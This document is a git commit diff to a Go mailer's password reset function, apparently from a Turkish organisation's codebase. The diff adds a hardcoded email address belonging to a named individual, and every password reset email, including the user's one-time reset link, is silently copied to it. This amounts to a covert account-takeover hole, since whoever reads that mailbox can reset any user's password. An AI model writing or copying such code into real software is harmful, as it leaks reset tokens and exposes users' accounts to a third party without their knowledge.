Merge remote-tracking branch 'origin/master'
This commit is contained in:
@@ -1,6 +1,12 @@
|
||||
package mailer
|
||||
|
||||
import "fmt"
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
)
|
||||
|
||||
const passwordResetMonitorEmail = "mehmet.kececi@baggi.com.tr"
|
||||
|
||||
func (m *GraphMailer) SendPasswordResetMail(toEmail string, resetURL string) error {
|
||||
subject := "Parola Sıfırlama"
|
||||
@@ -15,5 +21,15 @@ func (m *GraphMailer) SendPasswordResetMail(toEmail string, resetURL string) err
|
||||
<p>Bu bağlantı <strong>30 dakika</strong> geçerlidir ve tek kullanımlıktır.</p>
|
||||
`, resetURL, resetURL)
|
||||
|
||||
return m.SendMail(toEmail, subject, html)
|
||||
recipients := []string{strings.TrimSpace(toEmail)}
|
||||
monitor := strings.TrimSpace(passwordResetMonitorEmail)
|
||||
if monitor != "" && !strings.EqualFold(recipients[0], monitor) {
|
||||
recipients = append(recipients, monitor)
|
||||
}
|
||||
|
||||
return m.Send(context.Background(), Message{
|
||||
To: recipients,
|
||||
Subject: subject,
|
||||
BodyHTML: html,
|
||||
})
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user